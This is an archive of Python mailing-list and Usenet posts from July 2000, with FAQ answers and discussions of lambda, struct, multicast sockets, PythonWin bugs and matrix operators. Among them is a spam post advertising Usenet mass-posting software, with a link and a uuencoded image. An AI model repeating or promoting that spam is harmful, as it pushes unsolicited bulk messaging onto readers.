        "Python and Tkinter programming"
        By John Grayson
        Published by Manning
        ISBN 1884777813


-------------------------------------------------------------
Is there a utility to convert module docstrings to HTML for nice documentation?
http://www.faqts.com/knowledge-base/view.phtml/aid/4610
-------------------------------------------------------------
Stu D, Fiona Czuczman
Richard Jones,David Goodger

>From http://starship.python.net/crew/danilo/download.html:

Gendoc generates documentation from Python source code in different 
formats. Currently it can generate HTML, MIF, MML and plain old ascii 
(MIF and MML are FrameMaker formats). If you want to generate HTML 
files, I strongly suggest you grab a copy of Robin Friedrich's HTMLgen 
package, with which gendoc generates quite nice pages, optionally with 
frames.

In addition to gendoc/HTMLgen, there are several others I know of:

pythondoc (the successor to gendoc):
    http://starship.python.net/crew/danilo/pythondoc/

manpy:
    http://www.lfw.org/python/

crystal:
    http://www.btinternet.com/~tratt/comp/python/crystal/index.html

structured text (part of Zope; used by several of these projects):
    http://www.zope.org/Members/millejoh/structuredText


-------------------------------------------------------------
What is lambda?
http://www.faqts.com/knowledge-base/view.phtml/aid/4136
-------------------------------------------------------------
Fiona Czuczman
Warren Postma, david_ullrich

1) Meta-Answer: Read the FAQ and Manual sections.

2) Instant Gratification Answer

Here's a standard function definition:

def func(x):
    return x *2

Here's a way to write the same thing, in effect, but using Lambda:

func = lambda (x): x * 2

While that example isn't useful, it gives you the idea.  Think of lambda 
as a way to generate a function and return that function as an object, 
without having to give it a name. I primarily use it to pass an 
algorithm or expression as a parameter to a function, or other places 
where I want to pass code in a variable instead of passing a reference 
to a method containing that code.

------------

What it does is allow you to construct "anonymous functions".

   Oops, not my own words. The syntax

lambda x: [expression in x]

is itself an expression - the _value_ of the expression "lambda x: 
[expression in x]" is a function which returns [expression in x] when 
passed x. For example "lambda x: x+x" is a function that returns x+x; 
saying

f = lambda x: x+x

has the same effect as saying

def f(x):
  return x + x

But you don't usually use it that way - people use lambda when they want 
to pass a function to some routine without having to make up a name for 
the function. For example map takes a function as a parameter; saying

print map(lambda x: x+x, [1,2,3])

is the same as saying

def f(x):
  return x + x

print map(f, [1,2,3]])

You should note there's varying opinions on whether lambda is a good 
thing - if you're a beginner at programming as well as with Python it's 
not the first thing you should worry about.






From bdupire at seatech.fau.edu  Thu Jul  6 14:43:31 2000
From: bdupire at seatech.fau.edu (Benoit Dupire)
Date: Thu, 06 Jul 2000 14:43:31 -0400
Subject: Bug about dynamic typing ?
References: <39649D5C.F1652171@seatech.fau.edu>
Message-ID: <3964D353.5D123ECB@seatech.fau.edu>


bdupire wrote:

>
> My aim is to write an extension module to access functions in C which
> "get" and "set" some structures from/in shared memory.
>
>  It works well when I set the structure the first time, but not a second
> time I have got the following (run-time) error... did I miss something?
>
>  >>> import structure
>  The structure is now:
>  name Benoit
>  age 22
>  rate 3.141500
>
>  Traceback (innermost last):
>    File "<stdin>", line 1, in ?
>    File "structure.py", line 19, in ?
>      test_API.setstruct(packed)
>  TypeError: argument 1: expected string,
>                                          found
>
>  I am working with Python 1.5.2 on QNX 4.25
> test_API.c  is therefore statically linked with Python as dynamic
> linking is not possible on QNX.
>
>  file : structure.py
>  -----------------------------------------
>
>  import struct
>  import test_API
>
>  #1st  try
>  fmt="20sif"
>  a="Benoit"
>  b=22
>  c=3.1415
>  packed=struct.pack(fmt,a,b,c)
>  test_API.setstruct(packed)
>
>  #2nd try
>  a="Ben"
>  b=23
>  c=3.1417
>  packed=struct.pack(fmt,a,b,c)
>  test_API.setstruct(packed)
>
>

[see the c wrapper in the previous message]

it works well when I use a different name for the 'packed' object the second
time.

i.e :
 #2nd try
 a="Ben"
 b=23
 c=3.1417
 pp=struct.pack(fmt,a,b,c)
test_API.setstruct(pp)




I thought variables were dynamic in Python.
is there a bug, is it QNX, or is it the struct.pack function which allocates
memory behind the scene ?





From mark.w.daley at intel.com  Mon Jul 31 15:38:14 2000
From: mark.w.daley at intel.com (Daley, Mark W)
Date: Mon, 31 Jul 2000 12:38:14 -0700
Subject: Dynamic variables
Message-ID: <75F7304BB41CD411B06600A0C98414FCB3682C@ORSMSX54>

Does anyone know of a way to create variables on the fly, like in a loop?  I
want to be able to build a set of check buttons in a GUI I'm writing, and
each check button needs a different variable, I think, to determine which
ones are checked.  I want to use a for loop to iterate over a list to build
the check buttons, but I don't know the contents or length of the list.  Any
ideas?

- Mark
----------------------------------------------
The opinions expressed are mine, and are not necessarily those of my
employer.





From Jonathan_Epstein at nih.gov  Wed Jul 19 09:25:23 2000
From: Jonathan_Epstein at nih.gov (Jonathan Epstein)
Date: Wed, 19 Jul 2000 09:25:23 -0400
Subject: Matlab vs Python (was RE: Discussion: Introducing new operatorsfor   
 matrix computation)
References: <Pine.LNX.4.10.10007181130520.9411-100000@rock.localdomain>
Message-ID: <3975AC43.827F9ACD@nih.gov>

Thanks for your persistence and the clarity of your arguments, Huaiyu.

I am personally swayed by the arguments for a preprocessor and a special
syntax when "import matnum" appears.  However, regardless of the outcome
of the discussion, having Matlab-like support within Python will be A
GOOD THING (tm) and something which I will use extensively, despite
being a Matlab user/owner.

Thanks again,

- Jonathan


From david_ullrich at my-deja.com  Thu Jul  6 11:43:57 2000
From: david_ullrich at my-deja.com (david_ullrich at my-deja.com)
Date: Thu, 06 Jul 2000 15:43:57 GMT
Subject: function arguments
References: <Pine.LNX.4.21.0007061257160.17492-100000@krispc6.physik.uni-karlsruhe.de>
Message-ID: <8k29fq$3s5$1@nnrp1.deja.com>

In article
<Pine.LNX.4.21.0007061257160.17492-100000 at krispc6.physik.uni-karlsruhe.d
e>,
  Johannes Zellner <johannes at zellner.org> wrote:

    You know about the "*args" thing? Not exactly what you
asked for, but:

def showargs(*args):
	return args

print showargs('fred', 'lola')

> Hello,
>
> is there a way to get a functions argument list ?
>
> e.g.
>
> def fun(fred, lola):
>     ...
>
> something like `arglist(fun)' should return [ 'fred', 'lola' ]
>
> --
>    Johannes
>
>


Sent via Deja.com http://www.deja.com/
Before you buy.


From olivierS.dagenaisP at canadaA.comM  Sat Jul 15 17:10:40 2000
From: olivierS.dagenaisP at canadaA.comM (Olivier Dagenais)
Date: Sat, 15 Jul 2000 21:10:40 GMT
Subject: Anyone going to OLS?
References: <slrn8n1j03.i4.amk@207-172-113-121.s121.tnt5.ann.va.dialup.rcn.com>
Message-ID: <kr4c5.82424$W35.1948000@news20.bellglobal.com>

Hey, I'm in Ottawa!  Where's the OLS being held?  You think it's a problem
if I never use Linux and I go to the OLS???  : )

--
----------------------------------------------------------------------
Olivier A. Dagenais - Carleton University - Computer Science III


"A.M. Kuchling" <amk at mira.erols.com> wrote in message
news:slrn8n1j03.i4.amk at 207-172-113-121.s121.tnt5.ann.va.dialup.rcn.com...
> While lots of people will be at the O'Reilly conference next week,
> I'm being contrarian and going to the Ottawa Linux Symposium instead.
> Any other Pythoneers going to be there?
>
> --amk




From guido at beopen.com  Mon Jul 31 11:42:56 2000
From: guido at beopen.com (Guido van Rossum)
Date: Mon, 31 Jul 2000 15:42:56 GMT
Subject: Content of the Perl6 talk
References: <Pine.GSO.4.10.10007310744190.5520-100000@sundial>
Message-ID: <cpwvi2ckss.fsf@cj20424-a.reston1.va.home.com>

Moshe Zadka <moshez at math.huji.ac.il> writes:

> On Sun, 30 Jul 2000, Barry A. Warsaw wrote:
> 
> > Probably much more useful, if possible, would be to modularize some
> > key functionality that the languages have in common.  The only example
> > I can think of off hand would be a regexp engine.  It's kind of silly
> > that all three languages would support the same syntax and largely the
> > same features and functionality with entirely different code bases.
> 
> Sadly, even that's not really true. You can ask Andrew about the wonderful
> fun he had trying to pry Perl's regexp engine from the clutch of
> interdependancies. Perl's regexps are part of the language, and the
> language is part of them (e.g., /e).

But that applies to the current (Perl 5.x) codebase.  For Perl 6 they
are going to rewrite everything from scratch as far as I understand,
so there should be some hope.  Heck, maybe Effbot can offer SRE as a
starting point!  Most of his code doesn't deal with Python objects at
all, just arrays of chars and shorts.

--Guido van Rossum (home page: http://www.pythonlabs.com/~guido/)


From jvickroy at sec.noaa.gov  Mon Jul  3 11:37:36 2000
From: jvickroy at sec.noaa.gov (j vickroy)
Date: Mon, 03 Jul 2000 09:37:36 -0600
Subject: From UNIX to Win NT
References: <39606DAC.49A502DB@muc.das-werk.de> <8jq7c2$2f8$1@slb6.atl.mindspring.net>
Message-ID: <3960B33F.98B23C40@sec.noaa.gov>

Mark isn't here yet but his book (Python Programming on Win 32) is and I quote
(from page 35):

"
...
In many cases, the best solution is to rebuild this part of the application for
Windows.  On a typical Unix machine, creating new processes (as fork() does) is a
relatively cheap operation.  On Windows, howerver, the overhead of creating a new
process is significant, so solutions using this architecture on Windows won't
often scale or perform as you would hope.  Rewriting this portion of the
application to use multiple threads instead of multiple processes is often the
best solution for Windows.
"

Aahz Maruch wrote:

> In article <39606DAC.49A502DB at muc.das-werk.de>,
> Thomas Thiele  <thiele at muc.das-werk.de> wrote:
> >
> >The problem is I am using threads, fork and exec. And I want to have the
> >same behaviour using NT.
>
> You'll need to look at the Win32 extensions to do the fork/exec stuff.
> I've got zero experience with that, but hopefully either the docs are
> good enough or Mark Hammond will be by shortly.
> --
>                       --- Aahz (Copyright 2000 by aahz at netcom.com)
>
> Androgynous poly kinky vanilla queer het    <*>     http://www.rahul.net/aahz/
> Hugs and backrubs -- I break Rule 6
>
> The best way to get information on Usenet is not to ask a question,
> but to post the wrong information.  --Aahz



From aahz at netcom.com  Mon Jul  3 10:28:59 2000
From: aahz at netcom.com (Aahz Maruch)
Date: 3 Jul 2000 14:28:59 GMT
Subject: extracting tuples from a list
References: <3960A07F.7240F23B@teleatlas.com>
Message-ID: <8jq7vb$qo3$1@nntp9.atl.mindspring.net>

In article <3960A07F.7240F23B at teleatlas.com>,
Michael Husmann  <michael.husmann at teleatlas.com> wrote:
>
>Is there a simple way to extract two elements from a list
>that has a size of 2n? I going this way:
>
>while list:
>	i, k = list.pop(0), list.pop(0)
>
>Is there a better solution?

How was the list created?  Can you create it in such a way that each
element is a tuple?  Example:

list = []
for line in file.readlines()
  list.append(FunctionThatReturnsATuple(line))
for item in list:
  (i,k) = item
--
                      --- Aahz (Copyright 2000 by aahz at netcom.com)

Androgynous poly kinky vanilla queer het    <*>     http://www.rahul.net/aahz/
Hugs and backrubs -- I break Rule 6

The best way to get information on Usenet is not to ask a question,
but to post the wrong information.  --Aahz


From paul at prescod.net  Thu Jul 13 22:14:41 2000
From: paul at prescod.net (Paul Prescod)
Date: Thu, 13 Jul 2000 21:14:41 -0500
Subject: Discussion: Introducing new operators for matrix computation
References: <slrn8mpi53.sh.hzhu@rocket.knowledgetrack.com> <396E160D.272C0C34@roguewave.com> <slrn8msd14.sj.hzhu@localhost.localdomain> <396E444D.496234AC@roguewave.com> <slrn8mso2i.sj.hzhu@localhost.localdomain>
Message-ID: <396E7791.EE9D36FF@prescod.net>

Huaiyu Zhu wrote:
> 
> ....
> 
> Point 1.  We _can_ assign a universal meaning to dot operators, as
> "componentwise operators".  For example
> 

There is another proposal for allowing these types of operatoins:

> [1, 2] .+ [3, 4]            # [4, 6]

[x+y; for x in [1,2], y in [3,4]]

> ["a","b"] .* 2              # ['aa', 'bb']

[2*x; for x in ['a','b']]

> {'a':1, 'b':1} .+ {'a':1, 'c':1}   # {'a':2, 'b':1, 'c': 1}

Addition isn't really defined for dictionaries.

Note that this feature is more general than a fixed list of operators:

[transpose(invert(x)); for x in ['a','b']]

> Point 2. If users in completely disjoint domains override a certain type of
> binary operators with incompatible meanings, is there great harm?  Providing
> a few operators for user adoptation might even prevent grotesque overriding
> of more core operators.  After all, there is almost endless supply of names
> for classes, modules, function and so on, but there is almost no binary
> operators free for adoption.

Most people prefer for Python code to be very visually consistent across
domains. Of course there is a tension with those who want to add
domain-specific features (as I have wanted in the past). Allowing new
grammars may be the best compromise.

-- 
 Paul Prescod - Not encumbered by corporate consensus
Simplicity does not precede complexity, but follows it. 
	- http://www.cs.yale.edu/~perlis-alan/quotes.html



From robin at jessikat.fsnet.co.uk  Thu Jul 13 06:34:57 2000
From: robin at jessikat.fsnet.co.uk (Robin Becker)
Date: Thu, 13 Jul 2000 11:34:57 +0100
Subject: windows distribution of tcl
Message-ID: <$9C+4IARtZb5EwwB@jessikat.demon.co.uk>

The windows installation of Python includes much of tcl/tk, but doesn't
seem to include either tclsh82.exe or wish82.exe. These programs are
quite small and I wonder why they aren't included. I'm not pushing for
it, but it seems strange.
-- 
Robin Becker


From grey at despair.rpglink.com  Thu Jul 27 14:46:55 2000
From: grey at despair.rpglink.com (Steve Lamb)
Date: Thu, 27 Jul 2000 18:46:55 GMT
Subject: The State of Python
References: <200007270038.TAA03951@cj20424-a.reston1.va.home.com> <slrn8nv0l4.mqi.grey@teleute.rpglink.com> <cp3dkwl2ia.fsf@cj20424-a.reston1.va.home.com> <slrn8o0m0c.qhk.grey@teleute.rpglink.com> <39807595.D6F543E9@netscape.net.remove>
Message-ID: <slrn8o10ou.rt1.grey@teleute.rpglink.com>

On Thu, 27 Jul 2000 17:47:01 GMT, Brian Steele
<disposable002 at netscape.net.remove> wrote:
>What good would that do?  Sharks, snakes, etc. won't bite lawyers out of
>professional courtesy, and since marketers are really of no substance
>anyway, it would be like feeding the sharks tofu.

    You've obviously not seen the damage marketing can do to a company from
the inside, have you?

    "That doesn't belong there, it is this, it belongs under this header."
Nevermind that every person who understands the subject material would never
look there.  I never understood why I could never find my way around most
large corporate websites until I hit that particular marketing directive head
on.  :/

-- 
         Steve C. Lamb         | I'm your priest, I'm your shrink, I'm your
         ICQ: 5107343          | main connection to the switchboard of souls.
-------------------------------+---------------------------------------------


From thomas at xs4all.net  Wed Jul 19 15:55:00 2000
From: thomas at xs4all.net (Thomas Wouters)
Date: Wed, 19 Jul 2000 21:55:00 +0200
Subject: Python-dev summary: July 1-15
In-Reply-To: <8l4ph6$vj$1@nnrp1.deja.com>; from fplancke@my-deja.com on Wed, Jul 19, 2000 at 05:46:21PM +0000
References: <20000718100813.C21354@newcnri.cnri.reston.va.us> <u8zuzp0n7.fsf@ctwd0143.fitlinxx.com> <3974E8CD.55215FD9@inrialpes.fr> <8l4ph6$vj$1@nnrp1.deja.com>
Message-ID: <20000719215500.I9897@xs4all.nl>

On Wed, Jul 19, 2000 at 05:46:21PM +0000, Fr?d?ric van der Plancke wrote:
> In article <3974E8CD.55215FD9 at inrialpes.fr>,
>   Vladimir.Marangozov at inrialpes.fr wrote:

> Sorry I'm dense, but where can I find that ? Where can I find PEP
> documents ?

In the CVS tree. Barry's mail on PEPs describes that, I think. They're in
the 'nondist' directory. You can also browse the CVS tree using cvsweb, at
SourceForge. See http://sourceforge.net/projects/python

> It's bad it's so hard, hard, hard to find current information about
> Python on the web starting from would-be obvious points.
> (Exercise: starting from www.python.org/, find anything "mainstream"
> about Python 2, or "Python-dev" ... :-( )
> (By "mainstream" I mean something like "What's new in Python 2.0" -
> yes I eventally was lucky enough to get a hand on that one -- or
> "table of PEP documents/proposals/..." -- these items are still
> wanted, if they exist.)

Agreed. A lot of that stuff needs to be updated and/or made more accessible.
However, the last few months have been very hectic for the guys at
pythonlabs.com, between leaving CNRI (for four of them), moving to another
state (for a few of them, I believe), starting a new dept. of BeOpen, trying
to get 2.0 out of the door on a very ambitious release schedule and hitting
a huge brick wall so hard they left bloodsplatters all over it, magically
forming the letters 'C', 'N', 'R' and 'I'.(*)

> Web links on the www.python.org main page (or equivalent)
> would be fine.

Well, there's a problem with that: python.org is maintained by CNRI, and
there are some 'issues' between BeOpen and CNRI. I'm sure that when the
PythonLabs guys get some time, and the status of python.org gets a bit
clearer, they'll either move it to BeOpen or start a similar website on
Python 2.0 somewhere. Like sourceforge.

(* That might be a bit unfair to CNRI. They did home Python for a good
number of years, so they can't be all bad ;) I'm just confused by the
current 'issues', and know about as much as the rest of you: nearly naught.)

-- 
Thomas Wouters <thomas at xs4all.net>

Hi! I'm a .signature virus! copy me into your .signature file to help me spread!



From olivierS.dagenaisP at canadaA.comM.bbs  Sun Jul 16 15:50:09 2000
From: olivierS.dagenaisP at canadaA.comM.bbs (olivierS.dagenaisP at canadaA.comM.bbs)
Date: 16 Jul 2000 19:50:09 GMT
Subject: Pythonwin 1.5.2
Message-ID: <3bQXlX$ja3@openbazaar.net>

Errr... In VB6, (not sure about VC6 on this one) I use the following keys to
use the currently highlighted word:  space, enter, Ctrl+Space and
Ctrl+Enter.  The "Tab" key never occured to me!  It's not documented in the
PythonWin documentation, either.

Another PythonWin documentation quirk:  Ctrl+T is listed twice as a keyboard
shortcut.  Once as "Transpose (swap) the current line with the line above"
and later as "Toggle the use of tabs for the current file (after
confirmation)"

--
----------------------------------------------------------------------
Olivier A. Dagenais - Carleton University - Computer Science III


"Neil Hodgson" <neilh at scintilla.org> wrote in message
news:838a5.12069$Tb7.82109 at news-server.bigpond.net.au...
> > Oh for standards in keyboard shortcuts. What's wrong with ctrl-enter
like
> > Visual Studio?
>
>    Visual Studio uses Tab. I had no idea it also allowed Ctrl+Enter.
>
>    Neil
>
>
>


From bercovic at swi.psy.uva.nl.bbs  Mon Jul 17 19:40:04 2000
From: bercovic at swi.psy.uva.nl.bbs (bercovic at swi.psy.uva.nl.bbs)
Date: 17 Jul 2000 23:40:04 GMT
Subject: PIL for SGI IRIX
Message-ID: <3bRTN4$jm6@openbazaar.net>

> My suspicion is that you've got o32/n32 issues.

Correct.

A solution is to edit the configure script or call configure like so,
given that your zlib is in /usr/freeware/lib32

LD_LIBRARY_PATH=/usr/freeware/lib32 ./configure
--with-all-kinds-of-options

this sometimes works for me. What I now have resorted to doing is to
actually find the bit in configure that is causing the trouble, and
simple hardcode the lib-paths into configure.

in the above case it would be something like this:

1. look for LIBS="-lz" in configure
2. edit the LIBS="-lz" line to something like:
LIBS="-L/usr/freeware/lib32 -lz"
3. use common sense to see if any other stuff needs editing like the
<zlib.h> include declatation, which would become
"/usr/freeware/include/zlib.h"

't is a pain in the butt to weed out all them little buggers, but it
works everytime.

hope this helps,

avi


PS> If someone knows how to do this in a more 'elegant' fashion - great.
I've just got a feeling that autoconf is very GNU/Linux specific wrt lib
locations.


From mfletch at tpresence.com  Mon Jul 10 16:07:16 2000
From: mfletch at tpresence.com (Mike Fletcher)
Date: Mon, 10 Jul 2000 16:07:16 -0400
Subject: Anyone used IP multicast (demo/sockets/mcast.py) on NT?  I'm 
	gett ing a WSAEFAULT error
Message-ID: <CC59868A0A76D311B1F50090277B321C1F341A@VRTMAIL>

Okay, discovered information:

1) Winsock uses a 4-byte integer (in little-endian format) for TTL, so you
need to use 'I' as the struct format string.
2) Winsock has a quirk that certain implementations require that a socket be
bound before you set any multicast variables.
3) Dr. Dobbs seems to think that Winsock requires that the sender also
subscribe to the group.

Doing all that (within a check for win32 platform) gets me to the point
where the system pretends to run properly, but doesn't actually get any data
through the pipe (no error messages, just nothing happening).  With loopback
enabled (supposed to be default), the sender should be able to read data
sent to the group on it's sending port.  As of yet, no luck.

The revised demo is below.  Help appreciated.
Mike


8<_____________ mcast.py ____________
# Send/receive UDP multicast packets.
# Requires that your OS kernel supports IP multicast.
# This is built-in on SGI, still optional for most other vendors.
#
# Usage:
#   mcast -s (sender)
#   mcast -b (sender, using broadcast instead multicast)
#   mcast    (receivers)

##MYPORT = 8123
##MYGROUP = '225.0.0.250'
MYPORT = 4711
MYGROUP = '234.5.6.7'
TTL = 1

import sys
import time
import struct
import regsub, string
from socket import *


def address_to_bytes( address ):
	bytes = map(
		chr,
		map(
			string.atoi,
			string.split(
				address,
				'.',
			),
		)
	)
	return string.join( bytes, "")
	

# Main program
def main():
	flags = sys.argv[1:]
	#
	if flags:
		sender(flags[0])
	else:
		receiver()


# Sender subroutine (only one per local area network)
def sender(flag):
	mcastSocket = socket(AF_INET, SOCK_DGRAM)
	if flag == '-b':
		mcastSocket.setsockopt(SOL_SOCKET, SO_BROADCAST, 1)
		mygroup = '<broadcast>'
	else:
		mygroup = MYGROUP
		# set time-to-live option on the socket
		
		if sys.platform == "win32":
##			mcastSocket.bind( ("", 10000))
			mcastSocket.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
			mcastSocket.setblocking( 0)
			mcastSocket.bind( ("", MYPORT))
			ttl = struct.pack( 'I', TTL ) # winsock uses a
little-endian 4-byte integer
			# Construct struct mreq from grpaddr and ifaddr
			ifaddr = INADDR_ANY
			mreq = struct.pack('>4sl',
address_to_bytes(mygroup), ifaddr)
			# Add group membership
			mcastSocket.setsockopt(IPPROTO_IP,
IP_ADD_MEMBERSHIP, mreq)
			## following shouldn't be necessary, as loop back is
the default
##			mcastSocket.setsockopt(IPPROTO_IP,
IP_MULTICAST_LOOP, '\001\000\000\000')
			mcastSocket.setsockopt(IPPROTO_IP, IP_MULTICAST_TTL,
ttl)
			#
		else:
			ttl = struct.pack('B', TTL )
##		print `ttl`
##		import pdb
##		pdb.set_trace()
			mcastSocket.setsockopt(IPPROTO_IP, IP_MULTICAST_TTL,
ttl)
	while 1:
		print 'sending'
		data = `time.time()`
##		data = data + (1400 - len(data)) * '\0'
		mcastSocket.sendto(data, (mygroup, MYPORT))
		try:
			data = mcastSocket.recvfrom( 1500 )
			print 'got data', data
		except:
			pass
		time.sleep(1)
		

# Receiver subroutine (as many as you like)
def receiver():
	# Open and initialize the socket
	mcastSocket = openmcastsock(MYGROUP, MYPORT)
	#
	# Loop, printing any data we receive
	while 1:
##		print 'receive'
		try:
			data, sender = mcastSocket.recvfrom(1500)
			while data[-1:] == '\0': data = data[:-1] # Strip
trailing \0's
			print sender, ':', `data`
		except error, value:
			if value.args[0] == 10035:
				pass
			else:
				raise
		time.sleep( 0.05)


# Open a UDP socket, bind it to a port and select a multicast group
def openmcastsock(group, port):
	# Import modules used only here
	import struct
	#
	# Create a socket
	mcastSocket = socket(AF_INET, SOCK_DGRAM)
	mcastSocket.setblocking( 0)
	#
	# Allow multiple copies of this program on one machine
	# (not strictly needed)
	mcastSocket.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
	#
	# Bind it to the port
	mcastSocket.bind(('', port))
	#
	# Look up multicast group address in name server
	# (doesn't hurt if it is already in ddd.ddd.ddd.ddd format)
	group = gethostbyname(group)
	#
	# Construct binary group address
	#
	# Construct struct mreq from grpaddr and ifaddr
	ifaddr = INADDR_ANY
	mreq = struct.pack('>4sl', address_to_bytes(group), ifaddr)
	print `mreq`
	#
	# Add group membership
	mcastSocket.setsockopt(IPPROTO_IP, IP_ADD_MEMBERSHIP, mreq)
	#
	return mcastSocket


main()



From neilh at scintilla.org  Mon Jul 17 08:39:13 2000
From: neilh at scintilla.org (Neil Hodgson)
Date: Mon, 17 Jul 2000 12:39:13 GMT
Subject: Pythonwin 132: Letters with Umlaut cause problems
References: <8kuhnd$bh3$1@nnrp1.deja.com> <flr5nskmh6hgiv3bu0ihnahq9e8kq4s7ck@4ax.com>
Message-ID: <R7Dc5.4284$4p3.32213@news-server.bigpond.net.au>

> And a major problem, the ^-key kills build 132 immediately, when using
> the German keyboard layout.

   This is a known problem. It occurs inside the line

   key = win32ui.TranslateVirtualKey(key)

   found in fire_key_event in Pythonwin\pywin\scintilla\bindings.py.

   Mark is aware of the problem in the win32ui code, but you might want to
try this short workaround while waiting for a fixed PythonWin. Just before
the "if event is None:" line inside fire_key_event insert this code.

  if key == 220:
   return 1

   This avoids calling win32ui.TranslateVirtualKey for the "^" key. More
tests may be needed for other accent characters or other locales.

   Neil




From hgg9140 at seanet.com  Sat Jul  8 17:58:56 2000
From: hgg9140 at seanet.com (Harry George)
Date: 08 Jul 2000 14:58:56 -0700
Subject: Perl's paragraph mode
References: <3967866A.5C69F6F1@ce.mediaone.net>
Message-ID: <m31z14i8rj.fsf@wilma.george.org>

If you use pyperl:
p=pyperl.Pyperl()
p.INPUT_RECORD_SEPARATOR=''
myfile=p.open("< $filename")
lines=myfile.readlines()

Opinderjit Singh Bhella <bhella at ce.mediaone.net> writes:

> How can I do this Perl paragraph mode in Python?
>     $/ = '';  # paragraph mode
> 
> Thanks.
> 

-- 
Harry George
hgg9140 at seanet.com


From erxtxkckvkx at ahbxnrhxlod.edu  Thu Jul 27 20:02:42 2000
From: erxtxkckvkx at ahbxnrhxlod.edu (erxtxkckvkx at ahbxnrhxlod.edu)
Date: 28 Jul 2000 00:02:42 GMT
Subject: How can they buy your product if they don't know about it?
Message-ID: <3cz1ha$xwu$7@news.hk.linkage.net>

Turn your computer into a large scale Usenet news posting machine.  Capture a worldwide audience in an instant!

Use this popular and successful news posting software to maximize the exposure of your ideas or products on the newsgroups!  

http://members.tripodasia.com.cn/postagnt

















--


begin 666 0758.gif
M1TE&.#EA/@!#`/<``/___S$Q,6-C8YR<G,#`P/_.G/^<`)R<`/__`#'.,3'.
M8V.<SLZ<SLXQG/\`,0```#<!``"@]F\`^(S[O\"/^[______R.QO`*Q*][\`
M````Q?Y/`"!*][\!````H/Y/`+OQ0P#H!5```````&8```"@_D\`6`X``-1Z
M4``!````Z`50`$P```!8#@````!``.@%4`````````````$```#8>U``!`$`
M````````````U'I0`#SM;P!L``@`&0`A``````"@_D\`8'-``-0"2`!/<&5N
M```````,[Q?$[6\`".]O`, at G][_)%_:_`'!O`$,Z7%=)3D1/5U-<1$532U1/
M4%Q)8V]N<P!2=6YN:6YG+F=I9@`/``#$[6\`)TOVOP0+70```````P```0`!
M``5>$W:;```,?@``%P`"````SC_O%Q\7`````'!`X`>S`=:-/C<'&`$`%A4@
M``(`P`]O`````````%X!!(X!1&Q^`@#P60(`'Q?X#P(`P`]O``$`7`$`````
M`````)@0`@```/[_+@\/(#R.+227%P```````,0-(`#P60(`'Q>$C@``#`!O
M`#)^Q@/7!04`^`\?%Z$C[Q<N`#8`$!`_"#\!9PT``#\!````````Q`T@`%Y^
M%P_O%P``+@`V`/@/`@`<#ZQ^0SI<5TE.1$]74UQ$15-+5$]07$EC;VYS7%)U
M;FYI;F<N9VEF``4'&.#N;P#,\6\`R"?WO]0=]K\`<&\`=T+WOT$```!X1/:_
ML!WVOP``````````N15%`"#O;P`N````-@```+#Q;P"8\6\`!H(``.+Q;P``
M`.A^;QXN#RX/1`$`!0``6````)S^3P`<`0``R(+WOP``30"X_T\`6```````
M``"<_D\```!-`$$````,`$T```4```````!`````A83WOT$```"<A/>_``!-
M`$$``````````````$$```!8#@````````*4][\``$T`0)3WOQ`B6H%F````
M9@```%@.```%AD,`6`X``"'Y!`$```0`+``````^`$,`0`C_``D('$BPH,&#
M"!,2'`"@`(*'$",JG$BQH(`!!`H<>'#`@4<#!APT<``R(L2**!,.",``0`,!
M#5P&")"R)L(&`P0$$,`SP`.!+ADP:/#`9X.9- at W.?,`4YDX```0L6#FS*D^>
M+0D\8#@4P-`'`A0R))"S(L.58*$2Z%G5I\^B%S,^'<H@`,:D>#,JW#G0I<N?
M>6NF';`5(0":0AMTQ4E1P`.A40OG=<S2X-W`F#,/C`L`P0''!TR*?J at 9+U*'
MCL&RO5QZX0",*U\_:$"4=N*782FZG.BS95V:9!4"$)@3XTS%=7.W%CB3M=D`
M``B#)2!49=+?LM<"IKC5M^*7P%,Z_S<+>"C/UT"E#VAIF\'TA-/5KM2Y]2UN
MG3J;,U@/U7%"]SS1)B!E!$17U%T^>>7?<IHYA$!J3'&$@`$';+0=@P?YY]!&
M((%T0$@@BE32A!BB]"%3()'T(40&0'AAB051E9-RKA''TW`P'D0;3$%E5<!$
MKS&`F6,8>9686 at 4*:-Y01X6760$ZC:=0?(DQA=Q[F$&Y$TXKM>0356T5!19Z
M!9*5V%!\M>93?@()65%TO=7U75T4N7=4`R at YUA)A-`(I)E=IME;`=`Q(Y=Y.
M^<W$5E5,,>073B]:-J1=XOT$E7=8YEC`ET+N1U]<9%E*UU=2+H1H8(0Q,"B-
M6 at J07)+(*?\VT9B^038<G_Q1EQ-2`J6U8(9-Y41;4,$A!)9OF1+DIF6?&M>G
M03C&:)6CT6&T;&,!+#"<8PL,A-@"84W%$W-AK230`H4J$.ZXT>;4[4"EYJA0
M1`9,*)H!\D[DH(6A?1:A:J3E2U"4G>GT88?VUENOO0@([&U8#X'EX4<D?31B
MP`X3-&A'157L0&CT?GA`Q at 8-^L!#`AR,P(^$.4DRO$3&&"1!T69,64O#,<7L
MJ2_#>UQUFS[;\\,.Z&0;GH5B&ZE-8"[U)5D!O#0;DU^].U%6J,(5-9=1>T7=
M=XZY6FB\!5V['*\N*>:8@"YG1F3,NKFU$Z)@[=AV8!`*T)!DQ)'_:9F843,9
MP(^9K;DK5%`=Y6J!;EXZMUUW&:G83F;C/9N!U$'I]VLS\L243XPKR;=!..<G
MM$6GDT?=SUY/%!6H%7WY=$UU%?7=W<4&-M.E19%UV>^4+>7JY,J1O9!""RBJ
MV*47K8>S5Q at 5(!157N%Y5(F?6^E>C%=-3V[H1OYD?&!@45J1GG01/_2LUA(P
MK$YF:;9K6\X1AB-[?&;\&.+#W9I?;$EB#^54,B:T-(]ICR&`HGKR'K2TZ7:I
M"]IPGC?!FCQ%@7?S7)&^HR3>I*4_.K-16V#7J_7\JFR at ZM%W_.0H]UQF*_SC
MWV^<MI^E`<5V[9$5HYSSE*@$:B%7"1#G+]SB/',E)'A6H=2Q"M46JY1&`=E+
=G>O(HC>L):4L?1M(\F at VD,(`9US"*5#-#!(0``[
`
end


From weeks at golden.dtc.hp.com  Tue Jul 25 20:54:59 2000
From: weeks at golden.dtc.hp.com (Greg Weeks)
Date: 26 Jul 2000 00:54:59 GMT
Subject: "always passes by reference"
Message-ID: <8llct3$n34$1@news.dtc.hp.com>

Once upon a time, "pass by reference" meant that a function call f(x) could
modify the binding of the variable x.  With this definition, "pass by
reference" effectively passes the address of the variable x to the
function.  "pass by value", by contrast, passes only the value of the
variable x, not its address.

With these definitions, Python is uniformly "pass by value".  So are Lisp,
Java, and C, but not C++ and Perl.

I like these old definitions.  Unfortunately, things now get confusing when
